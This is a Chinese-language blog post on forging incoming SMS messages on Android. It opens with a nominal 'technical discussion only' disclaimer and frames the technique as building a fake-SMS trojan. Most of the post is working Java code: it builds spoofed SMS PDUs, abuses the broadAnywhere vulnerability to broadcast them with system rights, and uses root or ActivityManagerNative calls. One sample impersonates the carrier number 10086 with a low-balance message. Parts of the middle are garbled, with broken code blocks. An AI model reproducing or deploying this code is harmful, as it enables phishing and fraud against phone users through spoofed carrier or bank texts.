声明:本文只作技术探讨,禁止用于非法用途。

前言

伪造短信浅谈一文中,简单地分析了伪造短信的各种方案。今天,就谈一谈如何在Android中通过代码伪造短信。

前面说过,这个方案有个比较大的限制——需要非常高的系统权限,如root、system。如果手机已经root,那当然非常好办,找个合理的理由告诉用户需要root权限即可。但对于大部分小白用户来说,他们的手机一般没进行root。为了拿到高的系统权限,并且兼容性高,覆盖范围广,我们可以选择利用一些通用的漏洞。

最早在2012年时,就已经爆出Android4.0原生短信app的漏洞:对Android最新fakesms漏洞的分析。这漏洞影响的平台在1.64.1,但直至2015年9月,根据Google最新的版本分布统计,4.15.1才是现今的主流。也就是说,我们还需要找各种漏洞进行各版本的适配,才能兼容大部分设备,这也是伪造短信木马的难点之一。

fakesms漏洞与pdu数据

做Android开发的应该都知道,短信app接收短信的原理在于拦截短信到来的广播,并解释pdu数据来获取发送者与内容等信息。

典型的短信拦截代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class SMSReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if("android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction())) {
Bundle bundle = intent.getExtras();
Object messages[] = (Object[]) bundle.get("pdus");
SmsMessage smsMessage[] = new SmsMessage[messages.length];
for (int i = 0; i < messages.length; i++) {
smsMessage[i] = SmsMessage.createFromPdu((byte[]) messages[i]);
// 发送者
smsMessage[i].getOriginatingAddress();
// 短信内容
smsMessage[i].getMessageBody();
}
this.abortBroadcast();
}
}
}

也就是说,只要我们能模拟发送短信到来的广播,并填入对应的pdu数据,短信app就会认为有新的短信到来了。

在对Android最新fakesms漏洞的分析一文中,给出了对应的利用代码,其中就包含生成pdu的功能。不过这生成pdu代码还有些Bug:

  • 不支持中文
  • 短信内容不能过长。

下面给出修复后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
// 短信Intent构造工具
public class SmsUtils {
// 获取对应的Intent数据
public static Intent getSmsIntent(String number, String body) {
SmsManager smsManager = SmsManager.getDefault();
// 防止短信过长
ArrayList<String> messages = smsManager.divideMessage(body);
int size = messages.size();
Object[] objArray = new Object[size];
for (int i = 0; i < size; ++i) {
byte[] pduu = createFakeSms(number, messages.get(i));
objArray[i] = pduu;
}
Intent intent = new Intent();
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", objArray);
intent.putExtra("format", "3gpp");
intent.putExtra("subscription", 1);
return intent;
}

// 创建pdu
public static byte[] createFakeSms(String sender, String body) {
byte[] pdu = null;
byte[] scBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD("0000000000");
byte[] senderBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD(sender);
int lsmcs = scBytes.length;
// 时间处理,包括年月日时分秒以及时区和夏令时
byte[] dateBytes = new byte[7];
Calendar calendar = new GregorianCalendar();
dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));
dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));
dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));
dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));
dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));
dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET)
+ calendar.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
try {
ByteArrayOutputStream bo = new ByteArrayOutputStream();
bo.write(lsmcs);// 短信服务中心长度
bo.write(scBytes);// 短信服务中心号码
bo.write(0x04);
bo.write((byte) sender.length());// 发送方号码长度
bo.write(senderBytes);// 发送方号码
bo.write(0x00);// 协议标示,00为普通GSM,点对点方式
try {
String className = "com.android.internal.telephony.GsmAlphabet";
Class<?> clazz = Class.forName(className);
Method method = clazz.getMethod("stringToGsm7BitPacked", new Class[] { String.class });
method.setAccessible(true);
byte[] bodybytes = (byte[]) method.invoke(null, body);

bo.write(0x00); // encoding: 0 for default 7bit
bo.write(dateBytes);
bo.write(bodybytes);
} catch (Exception e) {
// 下面是UCS-2编码的处理,中文短信就需要用此种方式
byte[] bodyBytes = encodeUCS2(body, null);
bo.write(0x08); // encoding: 8 for UCS-2
bo.write(dateBytes);
bo.write(bodyBytes);// 其中encodeUCS2是从系统中复制过来的,并不是我写的
// 源码具体位置在
// frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java
}

pdu = bo.toByteArray();
} catch (IOException e) {
}
return pdu;
}
private static byte reverseByte(byte b) {
return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
}
private static byte[] encodeUCS2(String message, byte[] header) throws UnsupportedEncodingException {
byte[] userData, textPart;
textPart = message.getBytes("utf-16be");

if (header != null) {
// Need 1 byte for UDHL
userData = new byte[header.length + textPart.length + 1];

userData[0] = (byte) header.length;
System.arraycopy(header, 0, userData, 1, header.length);
System.arraycopy(textPart, 0, userData, header.length + 1, textPart.length);
} else {
userData = textPart;
}
byte[] ret = new byte[userData.length + 1];
ret[0] = (byte) (userData.length & 0xff);
System.arraycopy(userData, 0, ret, 1, userData.length);
return ret;
}
}

broadAnywhere漏洞利用

生成pdu的功能解决了,接下来我们来看下如何发送广播了。短信到来的广播需要system以上的权限才能发送,因此我们需要找一些可以拿到system以上权限的漏洞。拿到System权限的漏洞很多,如broadAnywhere漏洞就可以以系统权限发送广播。

具体利用代码与对应的漏洞相关,如使用broadAnywhere漏洞的关键代码:

1
2
3
4
5
6
7
8
9
10
11
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, 
String authTokenType, String[] requiredFeatures, Bundle options) {
PendingIntent pendingIntent = (PendingIntent) options.get("pendingIntent");
try {
pendingIntent.send(getGlobalApplicationContext(), 0,
SmsUtils.getSmsIntent("10086", "您的余额不足."), null, null, null);
} catch (CanceledException e) {
e.printStackTrace();
}
return new Bundle();
}

root漏洞利用

当然,除了使用漏洞外,也可以直接使用已root的手机中的root权限(得找个适合的理由),或者直接利用漏洞先root再使用。root漏洞很多,这里给个参考吧:root漏洞集

典型的root使用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
public static void runByRoot(String... cmds) throws Exception {
Process process = Runtime.getRuntime().exec("su");
DataOutputStream os = new DataOutputStream(process.getOutputStream());
for(String cmd : cmds) {
os.writeBytes(cmd);
os.writeBytes("\n");
os.flush();
}
os.writeBytes("exit\n");
os.flush();
os.close();
}

使用root需要执行本地应用,这里有二种选择:
- 自己构造出相应的Context对象,然后调用

intent)```方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    - 直接深入```Context.sendBroadcast(Intent intent)```方法的源码中找切入点。

通过查看Android4.2的源码可以发现,```Context.sendBroadcast(Intent intent)```方法最终调用了```ActivityManagerProxy.broadcastIntent(...)```方法,其实现代码如下:
```java
public int broadcastIntent(IApplicationThread caller, Intent intent, String resolvedType,
IIntentReceiver resultTo, int resultCode, String resultData, Bundle map, String requiredPermission,
boolean serialized, boolean sticky, int userId) throws RemoteException {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
data.writeInterfaceToken(IActivityManager.descriptor);
data.writeStrongBinder(caller != null ? caller.asBinder() : null);
intent.writeToParcel(data, 0);
data.writeString(resolvedType);
data.writeStrongBinder(resultTo != null ? resultTo.asBinder() : null);
data.writeInt(resultCode);
data.writeString(resultData);
data.writeBundle(map);
data.writeString(requiredPermission);
data.writeInt(serialized ? 1 : 0);
data.writeInt(sticky ? 1 : 0);
data.writeInt(userId);
mRemote.transact(BROADCAST_INTENT_TRANSACTION, data, reply, 0);
reply.readException();
int res = reply.readInt();
reply.recycle();
data.recycle();
return res;
}

这是一段明显的binder通信代码,因此我们可以直接模拟binder通信。模拟binder通信有两种选择:

  • 编写C/C++代码通过模拟binder通信来发送广播,然后直接编译生成可执行文件,
  • 编写Java代码模拟binder通信来发送广播,然后编译生成.dex文件,并用app_process命令来启动。

模拟binder通信方案相对比较麻烦,当然借鉴下源码实现也不复杂。但如果想写个demo测试的话,比较简单的方式是直接调用对应的Java接口。
查源码发现,上述方法是由

1
2
3
4
5
6
7
8
```java
static public void broadcastStickyIntent(Intent intent, String permission, int userId) {
try {
getDefault().broadcastIntent(null, intent, null, null, Activity.RESULT_OK,
null, null, null /* permission */, false, true, userId);
} catch (RemoteException ex) {
}
}

不知大家注意到了没,这是个public static方法,也就是说可以直接调用。而且它只能一行代码,且

1
2
3
4
```java
// ActivityManagerNative.broadcastStickyIntent(SmsUtils.getSmsIntent(number, body), null, -1);
ActivityManagerNative.getDefault().broadcastIntent(null, SmsUtils.getSmsIntent(number, body),
null, null, Activity.RESULT_OK, null, null, null, false, true, -1);

遗憾的是,这种方案需要针对各系统版本进行适配,原因有二:
- ActivityManagerNative是不公开的,其API经常变动。
- 在Android4.4版本后对拦截短信功能进行了限制,需要接管短信app才能进行拦截,因此发送短信来到广播时,需要指定对应的短信app来进行发送。这点改变就意味着之后系统版本的短信功能还可能会改动,增加了适配的难度。

这种方案虽代码简单(只有一行),但适配繁琐。想通用的话就只能自己构造出Context对象,然后直接使用如下代码:

1
Context.sendBroadcast(SmsUtils.getSmsIntent(number, body));

不过构建Context对象相对复杂,且4.4以上同样需要针对性的适配,有这方面的需要的童鞋可以自己去尝试下。

至此,本文已经结束,如果有什么问题或者建议,可在评论区留言。